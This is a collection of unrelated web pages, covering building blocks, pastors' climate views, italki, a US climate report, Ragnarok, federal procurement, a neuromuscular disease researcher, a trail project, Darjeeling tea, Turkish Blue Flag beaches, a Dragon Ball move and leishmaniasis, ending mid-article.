Lignacite SP is available in a 140mm width solid block. It consists of a specially formulated mix which reduces the block density to produce a solid block under 20kg unit weight. It is available in all grades. There is a slight colour difference between the traditional block and the Lignacite SP. Lignacite GP has a striated face, providing an enhanced key for plastering and rendering. It is available in 100 and 140 mm solid form only. Aggregate concrete blocks, Aggregate concrete blocks
LIGNACITE LTD: Lignacrete Concrete Blocks
Lignacrete dense blocks are suitable for a wide range of applications. They have excellent levels of sound insulation and high strength capability, making them especially suitable for use in separating and partition walls. They can also be used as infill blocks in beam and block flooring systems. Lignacrete dense blocks generally have a face size of 440 x 215 mm. Certain products are produced in an alternative size. For example, Midi blocks are solid 140 mm units with a face size of 290 x 215 mm and have been developed for ease of handling whilst providing all the performance associated with conventional size solid blocks. Lignacrete PW blocks have a thickness of 195 mm, and a face size of 440 x 65 mm. Aggregate concrete blocks, Aggregate concrete blocks | <urn:uuid:6f52786c-459f-4bf8-817e-657a89b0ed8f> | CC-MAIN-2022-33 | https://www.bpindex.co.uk/bimlibrary/3624/lignacite-ltd/gallery/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.914358 | 469 | 1.59375 | 2 |
NASHVILLE (BP) — For the first time, a majority of Protestant pastors believe global warming is happening and caused by humans.
A survey from Nashville-based LifeWay Research found 53 percent of Protestant pastors agree with the statement, “I believe global warming is real and man-made,” including 34 percent who strongly agree.
More than a third (38 percent) disagree, including 24 percent who strongly disagree. One in 10 (10 percent) say they’re not sure.
In previous LifeWay Research surveys on the topic, pastors were evenly split or more skeptical. In 2008, 47 percent agreed. That fell to 36 percent in 2010 and bounced back to 43 percent in 2012.
“Fewer pastors are rejecting global warming and climate change out of hand,” said Scott McConnell, executive director of LifeWay Research. “Yet pastors are still split on the subject, likely following along with political divides.”
A 2019 Pew Research study found 49 percent of U.S. adults say human activity contributes to global climate change a great deal, 30 percent say some, and 20 percent say not too much or not at all.
When asked how much natural patterns in the Earth’s environment contribute, 35 percent of Americans say a great deal, 44 percent say some, and 20 percent say not too much or not at all.
Differences of opinion among pastors in the LifeWay Research survey emerge throughout demographics and denominational ties.
African American pastors (78 percent) are most likely to agree.
The youngest pastors, aged 18-44, (59 percent) are more likely to agree than pastors 65 and older (47 percent).
Pastors with a doctoral (59 percent) or master’s degree (58 percent) are more likely to agree than those with a bachelor’s degree (43 percent) or no college degree (35 percent).
Mainline pastors (71 percent) are significantly more likely to agree than evangelical pastors (39 percent).
Pastors from Methodist (80 percent), Presbyterian/Reformed (67 percent), or Lutheran churches (63 percent) are more likely to agree than those from Restorationist movement (43 percent), Baptist (37 percent), or Pentecostal churches (32 percent).
A majority of Protestant pastors (54 percent) also say their church has taken tangible steps to reduce its carbon footprint, up from 45 percent in 2012.
More than a third (36 percent) say they have not taken those steps, while 10 percent aren’t sure.
Among those pastors who agree global warming is real and man-made, 70 percent say their church has worked to reduce its carbon footprint.
“Climate change can be a difficult issue to address because the causes and effects are not always easily seen where you live,” said McConnell. “Much like the current coronavirus pandemic, environmental mitigation efforts require trust in the scientists measuring the problem and finding the best solutions that balance all of the concerns involved.”
Pastors in the Northeast (62 percent) are more likely to agree than those in the South (50 percent).
Mainline pastors (67 percent) are also more likely to agree than evangelicals (47 percent).
Among the denominational families, Presbyterian/Reformed (69 percent), Methodist (67 percent), and Lutheran pastors (64 percent) are more likely to say their church has taken tangible steps to reduce their carbon footprint than Pentecostal (41 percent) or Baptist pastors (39 percent).
The phone survey of 1,000 Protestant pastors was conducted Aug. 30 – Sept. 24, 2019. The calling list was a stratified random sample, drawn from a list of all Protestant churches. Quotas were used for church size.
Each interview was conducted with the senior pastor, minister or priest of the church called. Responses were weighted by region to more accurately reflect the population. The completed sample is 1,000 surveys.
The sample provides 95 percent confidence that the sampling error does not exceed plus or minus 3.3 percent. Margins of error are higher in sub-groups.
Comparisons are also made to the following telephone surveys using the same methodology:
— 1,002 pastors conducted Oct. 13-29, 2008
— 1,000 pastors conducted Oct. 7-14, 2010
— 1,000 pastors conducted Sept. 26-Oct. 3, 2012 | <urn:uuid:5d2bf4c3-3397-486f-a823-a2cf9f4d4461> | CC-MAIN-2022-33 | https://www.baptistpress.com/resource-library/news/most-protestant-pastors-see-human-activity-behind-global-warming/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.957127 | 911 | 1.835938 | 2 |
Italki is an online platform that connects language learners and teachers. It facilitates scheduling and payments. Teachers who receive negative reviews could lose their ability to remain in business. Italki connects verified teachers to students and facilitates learning across more than 150 languages, which is a difference from other platforms. Italki teachers are certified and hold a teaching degree or certificate.
Learn to speak any language using italki
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Italki accounts require you to create a username, and password. You can also sign-up for an account on Facebook, Google, and even WeChat. Italki is free to use, but you’ll need to pay to access lessons. After you create a username, you will be directed to a page to choose a language to study.
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Italki is a great website to learn a foreign language. It pairs with another site called FluentU to provide you with a quality tutor for the language you are learning. Italki is as easy as creating a profile with your name and gender. You can then start looking for tutors to help you learn the language. Once you’ve found a tutor, you’ll want to make sure the one you’ve chosen is vetted by the Italki founder.
Italki helps you connect with native speakers to help you master a foreign tongue. To learn a foreign language, you can choose from over 190 languages. Each lesson varies in length, cost, and convenience, so you can choose the time slot that works best for you. Interactive whiteboards and chat sections make the lessons interactive. Recording the lessons is also possible. This program is a great way for native speakers to give feedback and help you learn a foreign language.
Italki Community members can practice for free
The italki community is a fantastic resource for those looking to learn a language. It provides grammar corrections and free writing. Additionally, you can communicate with language partners to receive one-on-1 tutoring. You can also post questions and requests for language exchange partners. You can also set up private lessons if you wish to learn more than one language. Italki is a great way to communicate with native English speakers for free.
Italki has many language teachers with different specialisations. You can choose your own teacher, as well as your time slot. The site also offers feedback from native speakers and professional teachers. This can be especially helpful for those who are just beginning to learn a language. A free trial lesson is available if you aren’t sure what you’re looking to learn.
Learn beyond the classroom
Italki is a website that allows you to find a tutor for your child. Unlike traditional classrooms, you can choose who and what type of lesson you want to give your child. There are two main types of teachers: professional and community tutors. Professional teachers are usually more expensive than community tutors. Community tutors are usually cheaper and can tailor their lessons to the student’s needs.
When you create your lesson, you will be able see the time and date. In some cases, you can even choose a different teacher. Teachers can choose when they will teach the lesson and the calendar will reflect that. This allows you plan your time according to your needs. Booking a lesson can be difficult. Before you can start a lesson, choose a platform and enter your username.
Learn more than a language
If you are willing to put in the work to learn a new language, then learning Italian is not difficult. In general, you should begin by understanding two to three words within a sentence. Then, work your way up to four or five words. With practice, your brain will begin to process information faster. You will also begin to build mental muscle. You will be able to understand more words than one sentence by week’s end.
By learning your vocabulary, you can learn more than a language with Italian. Latin is the inspiration for many languages. The Italian vocabulary is closely connected to Latin. When you learn Italian, you can build your own dictionary. A solid foundation in Latin will make it easier to understand and use Italian. By building a strong vocabulary, you’ll be able to communicate with native Italian speakers and improve your language skills.
Italki pricing can vary from student to student. However, the website offers a 30-minute free trial for new students. Once you’re a member of the platform, you can choose between a professional teacher or a community tutor. It is up to you to decide which teacher will best suit your budget and teaching style. Italki can help you learn new languages online or in an offline classroom.
The price of italki varies, depending on the availability of the target language and the level of the tutor. Prices for italki will be higher if there is a high demand for a particular language. However, costs for less developed countries are usually lower. Prices can range from $4 per hour to $85 for a one-hour trial lesson, but you can also pay as you go. Although Italki pricing is similar to in-person language classes, the trial price is significantly less than the regular price.
The website of italki is user-friendly and has a streamlined, easy-to-use interface. You can view the profiles of different tutors and see their teaching certificates. After you have decided to enroll in lessons, it is possible to start speaking with your teacher and learning the language. Another advantage of iTalki is the ability to choose a tutor based on your preferences, whether they are in your area or not.
How to use italki
Italki allows you to choose your own teachers. You can choose from among two categories: Community Tutors or Professional Teachers. Although a tutor in your community is more likely to have a better lesson than one from a professional, it is not guaranteed. Your preferences and time availability will determine whether you choose a beginner or an advanced teacher. After you have chosen your teacher, you will be able to book your first lesson.
You can browse the tutors’ list after you have selected your language. You can also narrow down your search to specific dialects. You can also narrow down your search to a specific area to find a tutor. After you select the teacher, you will receive an email confirmation with the details of your lesson. If you aren’t satisfied with the tutor you can request another one or wait for the tutor to find you.
When applying for the position of a teacher, make sure to upload documents that prove your experience and fluency. If you speak the second language fluently, you can communicate with students during the video introduction. If you are not able to communicate in the second language, you can choose to teach it for free. This will take up more time but will save you money. You should also be friendly and helpful to students while practicing conversation. | <urn:uuid:9e95cc36-d95a-42de-840e-a1ebce19c42f> | CC-MAIN-2022-33 | https://www.calloftheloon.org/italki-cursos/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.952267 | 1,511 | 1.539063 | 2 |
Given that President Donald Trump was willing to nominate a former conservative talk radio host with absolutely no scientific background as the Department of Agriculture's chief scientist, it's unlikely that the administration is going to take any sort of policy action in response to an exhaustive 600-page report issued today by 13 federal agencies and approved by the White House which found that "it's extremely likely that human activities, especially emissions of greenhouse gases, are the dominant cause of the observed warming since the mid-20th century."
Nonetheless, it is notable that the National Climate Assessment's report has received no interference from White House policymakers, according to the Washington Post. One of the people involved with its authorship told the newspaper that the president's political appointees had not attempted to make any changes to the report.
The report, which stays away from political recommendations in favor of focusing only on the science, lays out a number of facts gleaned from over 1,500 studies.
"In addition to warming, many other aspects of global climate are changing, primarily in response to human activities," the report finds. Those include "changes in surface, atmospheric, and oceanic temperatures; melting glaciers; diminishing snow cover; shrinking sea ice; rising sea levels; ocean acidification; and increasing atmospheric water vapor," according to thousands of studies.
Ocean levels have risen by about 3 inches since 1993. This small increase has already impacted several cities in the United States. "More than 25 Atlantic and Gulf Coast cities" have seen increased tidal flooding on a daily basis, according to the study. Heatwaves have also become more frequent in the country since the 1960s. By contrast, cold snaps and cold waves have become less common.
The report's authors conclude that available evidence indicates that global sea levels are expected to rise by somewhere between 1 to 4 feet by 2100. But since “climate models are more likely to underestimate than to overestimate the amount of long-term future change," it is quite possible that oceans could rise by as much as 8 feet over that timespan.
According to Richard Alley, a scientist who studies glaciers at Penn State University, "there's a little rumbling" among his peers that the Trump Administration will not try to formulate any policies to deal with the report's findings. This is a more than likely possibility considering that the White House has not nominated anyone to run its Office of Science and Technology Policy, NPR reported.
But the White House told CNBC that the Trump administration supports "technology, innovation and the development of modern and efficient infrastructure" to reduce climate-related risks.
"The climate has changed and is always changing. As the Climate Science Special Report states, the magnitude of future climate change depends significantly on 'remaining uncertainty in the sensitivity of Earth's climate to [greenhouse gas] emissions,'" said White House principal deputy press secretary Raj Shah, in a statement. | <urn:uuid:36d7f163-77f0-4da6-9bd6-b9e60507e14a> | CC-MAIN-2022-33 | https://www.salon.com/2017/11/03/climate-change-is-happening-because-of-human-activity-trump-administration-admits/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.969788 | 580 | 2.921875 | 3 |
What is Ragnarok and why is it important?
Ragnarok is the cataclysmic destruction of the cosmos and everything in it – even the gods. For the Vikings, the myth of Ragnarok was a prophecy of what was to come at some unspecified and unknown time in the future, but it had profound ramifications for how the Vikings understood the world in their own time.
What is the meaning of Ragnarok?
Definition of Ragnarok : the final destruction of the world in the conflict between the Aesir and the powers of Hel led by Loki. — called also Twilight of the Gods.
What does Ragnarok say about Norse culture?
The Vikings believed that one day the world as we know it would come to an end, they called this day for Ragnarok, (old Norse Ragnarökr). Ragnarok is not only the doom of man but also the end of the Gods and Goddesses. It will be the final battle between the Aesir and Giants.
What is the prophecy of Ragnarok?
Asgard up in flames, falling to ruins. And you, Surtur, are at the center of all of them.” Ragnarök was an apocalyptic event in Asgardian lore that prophesied the destruction of Asgard and the extinction of its people. The prophecy came to fruition in 2017, when Odin’s death released his daughter Hela.
Who causes Ragnarok?
In both Norse mythology and the Marvel comic books, there is a prophesy that a great battle, instigated by Thor’s brother Loki, will bring about Asgard’s apocalypse. Surtur is said to be involved in this destruction. The cataclysmic event is known as Ragnarok.
Who caused Ragnarok?
What are the lessons of Ragnarok?
The work a man does in his job may or may not live beyond his own lifetime, but god-willing his children sure will. If you teach them what it means to live well — to love, to work hard, to live with character and honor — perhaps the world will become a little bit better because of it once you’ve passed on.
What happens during Ragnarok?
Ragnarök, (Old Norse: “Doom of the Gods”), in Scandinavian mythology, the end of the world of gods and men. Giants and demons approaching from all points of the compass will attack the gods, who will meet them and face death like heroes.
Who will survive Ragnarok?
Surviving gods Hoenir, Magni, Modi, Njord, Vidar, Vali, and the daughter of Sol are all stated to survive Ragnarok. All of the remaining Æsir then reunite at Ithavllir. Baldr and Hod return from the underworld – Baldr having been killed by Hod, and Hod by Vali, before Ragnarok.
What is the creature in Ragnarok?
The Oseberg Serpents are a species of legendary sea serpents which acted as the main antagonists of the 2013 Norwegian monster film Gåten Ragnarok.
What does Thor learn in Ragnarok?
First, you should always acknowledge mistakes so you can learn from them. Second, making mistakes is important to learning. Thor knows the only way to make things “work out” is by moving forward rather than staying motionless in the midsts of a problem.
Which Norse gods survive Ragnarok?
Joins the other Jötnar and dies in the battle
What will happen in Ragnarok?
Two humans will survive Ragnarok, by hiding in the world tree Yggdrasill, they will become the forefathers of all new humans. There will be three halls: Gimli: Heaven, so to speak, a lovely longhouse filled to the brim with alcohol, where it’s always warm and where rulers are at peace with themselves and others.
Who kills Loki in Ragnarok?
Loki is the father, by the giantess Angrboda (Angrboða, “Anguish-Boding”), of Hel, the goddess of the underworld; Jormungand, the great serpent who slays Thor during Ragnarok; and Fenrir, the wolf who bites off one of the hands of Tyr and who kills Odin during Ragnarok – hardly a reputable brood, to say the least. As we’ll see below
Who defeated Thor in Norse mythology?
Any Character Wielding The Infinity Gauntlet. | <urn:uuid:4ec0511e-53ea-47a4-b3e9-a6a17054616f> | CC-MAIN-2022-33 | https://thisisbeep.com/what-is-ragnarok-and-why-is-it-important/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.942703 | 905 | 2.59375 | 3 |
The US government agencies had a lot of procurements this year. It is a responsibility for government agencies to report and collect data which the federal government can use. The government can use this date to check impact of federal procurement on the economy of the nation to make the necessary changes to their procurement policy. The Federal Acquisition Regulation (FAR) requires contracting officers to give reports about contracts. This article talks about the latest updates on federal procurements. The US government saw one large controversial procurement in 2019:
- The move to buy services and IT products from the government’s General Services Administration.
- A new standard for cyber security
- Consolidation of major contracts from the General Services Administration with Multiple Award Schedules.
However the largest contract of the Federal Government this year was that of Joint Enterprise Defense Infrastructure (JEDI), a $10 billion worth contract. There were lawsuits and bid protests that followed the contract and dramatic events like presidential statements recusal by the US Defense Secretary and a salacious dossier. The contract went to Microsoft and a lot of people wonder how Microsoft won the contract. Even since then the US Department of Defense continues to defend themselves in courts because of the contracts. The trends surrounding Donald Trump as US president made some impact on the Federal Procurement system. He’s got acting cabinet secretaries not less than 28 with more turnover rate. Trump’s administration is very unstable. Federal contractors are the ones that bore the cost as agencies struggled with the instability. The partial shutdown by the government cost the government up to $3.5 billion. Agencies struggle to meet up with work and time. The Pentagon came with the Cybersecurity Maturity Model Certification, an initiative for better cyber security. This model will need more money and time for certification. The cost will be much for small enterprises. It will affect many firms making a part of the defense industrial base to leave the market and make the rest to improve their supply chains. Another event is General Services Administration replacement of certain contracts. Example, EAGLE II, while the Air Force’s 2GIT replaces IT supplies and Support Services contract and so on.
More trends on federal procurements
A new provision on the Federal Acquisition Regulation became effective on December 23 and its title is ” Reporting of Nonconforming Items to the Government Industry Data Exchange Program. This new provision makes reporting to the Government Industry Data Exchange Program (GIDEP) a necessity for federal subcontractors and contractors. These reports are about violations and counterfeits.
How did this provision come about?
This provision came from the National Defense Authorisation Act (NDAA), 2012. The rule will cover contractors making electronic products. However this applies to other agencies outside the Department of Defense. The American government confirms from the Memorandum of April 2019 that contraband goods threaten public safety and national security which led to the amendment.
What are the counterfeit components?
The counterfeit components refers to the components that do not meet the testing and product specification for government contracts. These components pose a risk to the users. The American government tries to make sure that contractors meet up with quality assurance with regards to safety and reliability of products.
Defining the Government Industry Data Exchange Program (GIDEP)
GIDEP is a joint body between industrialists and government that cut expenditures by sharing information on production, development, design, equipment and operating cycles. Contractors can exchange knowledge on items. This reporting covers contracts that include the following:
- Items which the contracting officer see as critical items based on their toxic or unsafe nature.
- Items subject to standards of higher-level quality
- Medical devices about Food and Drug Administration Report Requirements that are subject to reporting and administration requirements.
- Commercial items that include items that are off the shelf. The contractor has to flow down this clause, FAR 52.246-26 in order to meet the necessary requirements. Contractors have the primary mandate to offer a written notification to the contracting officer in 60 days of any awareness of violations, through a third-party, record review and testing.
Federal Government Awards Contracts For Immigration Facilities
The Federal Government awarded contracts in California for immigration centres before the coming of a new state law in California. A lot of American supporters hope the law will make US Immigration and Customs Enforcement to check out other areas as the current contract expires. The contract for these facilities in Bakersfield, Adelanto, Calexico and San Diego are at $6.6 billion expected to contain up to 4000 people. There were lots of criticism about the awards by the Federal Government. A government official said the state laws that alter federal laws are harmful and inappropriate. There were arguments that such facilities violate values in California. California is likely to take the federal action to court. The contract will create 1200 jobs and add $200 million to the annual revenue. | <urn:uuid:b7a671c5-6420-4b9d-a229-3dd61681c05d> | CC-MAIN-2022-33 | https://www.donyaconsultinggroup.com/blog/latest-updates-on-federal-procurements/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.94789 | 986 | 2.015625 | 2 |
Neuromuscular diseases start by hampering mobility and progress to threatening vital processes like breathing and swallowing. Spinal muscular atrophy (SMA) may strike in infancy, Duchenne muscular dystrophy (DMD) in early childhood or amyotrophic lateral sclerosis (ALS) in middle age. There are may be hundreds of other neuromuscular diseases, some exceedingly rare.
And Greg Cox, Ph.D., wants to knock them all out.
The Jackson Laboratory associate professor is at the hub of a network of researchers, mouse model experts, clinicians and patient families, all dedicated to finding the genetic causes and potential treatments for neuromuscular diseases.
In recent months, the U.S. Food and Drug Administration approved nusinersen as the first treatment for SMA, and edaravone as only the second available treatment to reduce the progression of ALS. Cox says better mouse models of neuromuscular diseases were essential to the development of both drugs, and in fact, it was a JAX-developed mouse that established the effectiveness of nusinersen.
In his own lab Cox focuses on SMA and its very rare variant, spinal muscular atrophy with respiratory distress (SMARD), as well as ALS and DMD. “The fact that we have mice that develop the same disease symptoms and carry mutations in the same genes helps us to test many different therapeutic strategies in a relatively short time,” Cox says.
This morning Cox has had a phone conversation with the parents of a child with a severe neurological disorder due to a mutation in a gene called KIF1A. “They were hoping we had a mouse model with the same mutation,” Cox says. Though JAX does have two mouse models with mutations in that gene, he says, neither one exactly matches the patient’s.
Cox consulted with his colleagues Cat Lutz, Ph.D., director of the JAX Mouse Repository and Rare and Orphan Disease Center, and Senior Research Scientist Laura Reinholdt, Ph.D., who then launched a project to develop a new mouse model that would carry the patient’s identical mutation.
“Once the new model is available it will be going directly out to the researchers who are going to help them,” Cox says. “Lots of times these things just come together. It’s great to be able to help families dealing with a serious disease.”
Connecting with patients and their families is part of the job for physicians and clinical researchers; for a preclinical researcher like Cox, who focuses on the genetic mechanisms of diseases, it’s unusual, even extraordinary.
In part that’s because JAX may be the only “hit” patient families get when they search online for research programs in a specific rare genetic condition. JAX is an international resource for research in SMARD and other rare neuromuscular diseases, a role that includes developing and providing mouse models, data and drug-development services through its Rare and Orphan Disease Center.
Eric Sims, a University of Notre Dame associate professor, and his wife, Jill, are the parents of two children born with SMARD. One of Sims’ students organized a fundraiser to raise money for SMARD research after identifying the Cox lab online. Eric’s parents, Grant and Patty Sims, then connected with Cox to learn more about his SMARD research program, and subsequently established the Sims Family Fund for SMARD Research at JAX with a $1.5 million gift in 2015.
Once families and patients find Cox, his friendly, outgoing nature takes over. He has welcomed the Sims and many other patients and their families, including a pair of brothers with DMD, to visit his lab and learn about his work. He recently invited a college student with a mild form of SMA to conduct her two-week practicum in his lab. And he leads his own fundraising team, the “Neuromusculomics,” at the annual Walk to Defeat ALS in Bangor, Maine.
One of the organizers of the Walk is Janice von Brook, executive assistant to the JAX chief financial officer. Von Brook’s late husband, George Miller, lived with ALS for eight years.
“We were so glad to know that JAX researchers were working on ALS, but it was Greg who provided the comfort and the hope,” von Brook says. “He explained his research so we were able to understand it. But even more, he let us know that it impacted his work to talk to patients and their families because he could better understand how his work affected those with the disease.”
Cox speaks at the Walk each year, she says, “and he always takes the time to talk to everyone and answer questions. I can’t describe how powerful this is when you feel very fragile. Greg’s answer is always, ‘Sure, how can I help?’”
That helpful enthusiasm carries into the Cox lab, where the staff jokes he could turn a random question or comment into a Ph.D. thesis. “Besides being a genuinely nice person, Greg is the smartest person I know,” says David Schroeder, the Cox lab manager. “As a scientist, Greg has the ability to digest complex sets of data or experiments, boil them down to their constituent components, pick out the parts that are germane to his research, suggest an experiment to conduct and explain it all with perfect clarity — all in a 10-minute chat in his office.”
Cox first came to JAX in 1994 after earning his Ph.D. in human genetics at the University of Michigan, as a postdoctoral associate in the laboratory of epilepsy researcher Wayne Frankel. Says Frankel, who is now a professor of genetics and development at Columbia University, “Cox was the star postdoc in my young laboratory, producing three high-quality first author papers in the heyday of ‘positional cloning’ (as disease gene identification was known in the 1990s).”
In addition to his intelligence “and proclivity to come up with some creative and original ideas,” Frankel says, “a key attribute was his dogged persistence and patience. During his postdoctoral training and since, he was also well known for not knowing how to say ‘no’ when asked to take on a new project or task.”
The Cox lab works in what might be the loveliest lab space in America, with high ceilings and huge windows overlooking scenic Frenchman Bay and the Schoodic Peninsula. Cox shares that space with JAX Professor Rob Burgess, Ph.D., whose studies of peripheral neuropathies and other neurodegenerative and neuromuscular diseases frequently overlap with those of Cox.
Cox and Burgess often attend the weekly “Deviant Search,” a review of any mice born in the JAX colonies with spontaneous mutations, in search of new mouse models for their research. They bring mice with evident neurological mutations back to the lab for study. “Once we learn more about the disease, we figure out whose half of the lab should work on it,” Cox says. “If it's more of a peripheral neuropathy, it goes to Rob's side; if it's more of a motor neuron disease or muscular dystrophy, it goes to my side.” Finding a new and naturally occurring mouse model for a disease he studies, he says, “is like Christmas!”
“Greg is a very creative researcher,” Burgess says, “someone who is not afraid to tackle novel or complicated mechanisms in his research. He takes full advantage of the mouse genetics and resources available at JAX for his research.”
And, Burgess notes with a grin, “Greg is a guy who is not afraid to have a little umbrella in his drink while singing karaoke.”
Besides exercising his vocal cords at the karaoke machine, Cox believes in keeping his muscles in top working order. He’s an avid cyclist and recently more than doubled a JAX employee fitness center challenge to lift a million pounds in a month.
And he is fond of muscle cars: He is restoring his very first car, a vintage Mustang, lovingly named Emma.
But the vast majority of his time is spent in his office and lab, driven by a commitment to help patients. “I don’t think neuromuscular diseases are that different from other rare genetic disorders in concept, but the day-to-day impact that they have on the independence and quality of life of these patients, their families and caregivers is all-encompassing,” he says.
“Anything I can do to slow the decline of function in a patient or ultimately to improve any aspect of their quality of life really drives my passion for the science and the thrill of discovering something new that could be useful to someone else.” | <urn:uuid:27f54e66-68f7-4ad6-9a4e-b03bd982a065> | CC-MAIN-2022-33 | https://www.jax.org/news-and-insights/2017/June/greg-cox-is-the-muscle-man | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.972171 | 1,871 | 3.171875 | 3 |
On Wednesday, October 17th, Chester County Planning held an Open House in East Conventry to provide the public with an update on Phase 2 of the Schuylkill River Trail between Parker Ford at Linfield Road and the US 422 bridge over the Schuylkill River.
Phase 1 of the Schuylkill River Trail was constructed in 2012 with a stone surface. This project will resurface that 5.75 mile section with bituminous pavement and construct a new 4-mile shared use path (trail) on a former rail-bed and towpath. The 10-foot wide path will be paved with no grades greater than 5 percent.\
Phase 2 has been in the works for over a decade, with years spent acquiring necessary easements and right-of-way including an arrangement to repurpose a section of inactive railbed owned by Norfolk Southern. Additional permitting and environmental review were required including: National Environmental Policy Administration (NEPA) clearances and approval, natural resource coordination, Section 4(f) coordination, cultural resource coordination, threatened and endangered (T&E) species coordination and environmental permitting.
The project is projected to be advertised in Spring 2019 with an estimated construction timeline of 15 months. We are hopeful that these four new miles would open in late 2020. | <urn:uuid:bd4a5336-e096-4b5b-a5d1-5e0a8ac47e8f> | CC-MAIN-2022-33 | https://bicyclecoalition.org/chester-county-closing-in-on-4-mile-schuylkill-river-trail-gap/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.940544 | 264 | 1.65625 | 2 |
1996: Darjeeling First Flush
In the harsh mountain climate of the Himalayas, in the Darjeeling area, the first spring tea harvest takes place from March to the end of April and is called the First Flush. A tea prized primarily for its floral fragrance. Carefully chosen each year by refined tea lovers with the participation of even more tea traders. This is a very fresh tea, especially if enjoyed in the late Spring just after harvest. This tea is incredibly flowery with mildly euphoric effects, virtually unrivalled in fragrance and texture. A sparkling, amber-orange color in the cup. | <urn:uuid:710a9f2d-cc57-4eb9-a10f-e784b8229739> | CC-MAIN-2022-33 | http://teaoftheyear.com/winners/1996-darjeeling-first-flush/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.952834 | 126 | 2.359375 | 2 |
Turkey is now the top third country in the world to have the highest number of Blue Flag certified beaches. With 383 beaches, 21 marinas and 13 yachts given Blue Flag status, Turkey has now taken France’s spot for being the third country in the world to have the highest number of beaches accredited with the Blue Flag eco-label.
Foundation For Environmental Education in Turkey (TÜRÇEV) General Manager Erol Güngör explains that Turkey was first awarded the Blue Flag eco-label for five beaches in 1995 and states, “When we first applied for the Blue Flag award 20 years ago, there were ten countries that had been awarded and we were in tenth place. In those years, they only accepted applications from beaches in Europe, however now there are 46 countries from all over the world that have been awarded and we have made third place.” Reminding that the year prior, Turkey had 355 beaches, 19 marinas and 13 yachts that met the criteria, Güngör states that with the successful progress they made this year, they have now surpassed the number of beaches awarded in France and have taken their spot in third place.
Pointing out that the Blue Flag eco-label is now the most widespread and well-known symbol of standards used in tourism all over the world, Güngör says, “The Blue Flag accreditation has become more sought-after each year by both holiday-goers and tour operators. As a result of the Blue Flag program, the safety and service quality of beaches have now increased.”
Following suit with years in the past, Antalya comes in first for being the province in Turkey to have the highest number of Blue Flag beaches at 179. Muğla comes in second with 84 Blue Flag beaches, while Izmir is in third with 36. Aydın is in fourth place with 25 beaches, followed by Balıkesir with 19, Mersin with nine, Çanakkale with six, Istanbul with three, two in Kocaeli and a beach each in Tekirdağ and Düzce have also been given the Blue-Flag eco-label.
Istanbul, whose star shines brighter every year when it comes to tourism, also increased the number of beaches in the metropolis which have been awarded Blue Flag status. Last year, only two beaches in Şile qualified for the award, however this year another beach in Şile has been given the eco-label. In order to be awarded as a Blue Flag beach, there are 32 criteria that need to be met, which are divided into four categories: Environmental Education and Information, Water Quality, Environmental Management and Safety and Services. | <urn:uuid:990ee7e1-537e-4be8-87e7-a8e9b9d2c4ce> | CC-MAIN-2022-33 | https://www.istanbulview.com/istanbul-receives-blue-flag-status-for-three-of-its-beaches/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572304.13/warc/CC-MAIN-20220816120802-20220816150802-00473.warc.gz | en | 0.966601 | 561 | 1.671875 | 2 |
The user draws a standard Galactic Police issue Ray Gun and fires a beam of energy at the opponent. Alternatively a user can use their ki to fire an energy beam in a similar fashion.
- Elite Shooting - An Continuous Energy Bullet variation of Elite Beam where the user randomly fires Elite Beams in 5 different directions.
- Super Elite Beam Gun - A Ray Gun even stronger than Elite Beam Gun and normally used by Super Elite Galactic Patrollers. Appears as a Special Move in Dragon Ball Fusions
Video Game Appearances
Elite Beam first appears under the name Galactic Patrol Gun (銀河パトロールガン) in Dragon Ball Heroes, where it was added in Jaaku Mission 6 as the Super Attack of Jaco.
Elite Beam was named in Dragon Ball Xenoverse as one of Jaco's Super Skills. It can also be learned by the Future Warrior by taking on Jaco as a Master and completing his Training Qualification Mission. When used by the Future Warrior the Ray Gun is not present and simply uses their Ki to fire the beam instead, though the Warrior will still perform skill as if they were drawing the Ray Gun and firing it.
In Dragon Ball Xenoverse 2, Elite Beam returns as one of Jaco's Super Skills which the Future Warrior can learn by completing School Quest: "Lesson 1" of Jaco's Training. Unlike its depiction in Xenoverse, a small Ray Gun actually is used to fire the beam when it is used by the Future Warrior. | <urn:uuid:80be8cc4-c9fe-4596-8f41-c5c66dbbdd6b> | CC-MAIN-2022-33 | https://dragonball.fandom.com/wiki/Elite_Beam | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573540.20/warc/CC-MAIN-20220819005802-20220819035802-00473.warc.gz | en | 0.948997 | 317 | 2.15625 | 2 |
The craters on Miguel Londoño’s right leg were unrecognisable from the nondescript sandfly bites he first noticed. In two months, the bumps on his lower leg morphed into pus-filled lesions, eventually forming a dark scab in the centre. This contrasted with a raw perimeter where the skin continued to peel.
Londoño, an agricultural engineer from Colombia, had cutaneous leishmaniasis – the most common form of a vector-borne disease which manifests as skin sores that grow and change appearance over time. Although not fatal, these lesions can become infected and painful, and leave disfiguring scars.
“It feels like something is eating your skin,” says Laura Castañeda, another cutaneous leishmaniasis patient who picked up the disease in a town in rural Antioquia. Having successfully undergone treatment, Castañeda has a large scar on her knee that attracts stares and sneers from others whenever she wears a skirt or dress.
If left untreated, Leishmania parasites can spread via the bloodstream to the nose, mouth and throat to form mucosal leishmaniasis which can cause bleeding and further scarring. Parasites that move to the liver or other internal organs can lead to visceral leishmaniasis, which is almost always fatal without medical treatment.
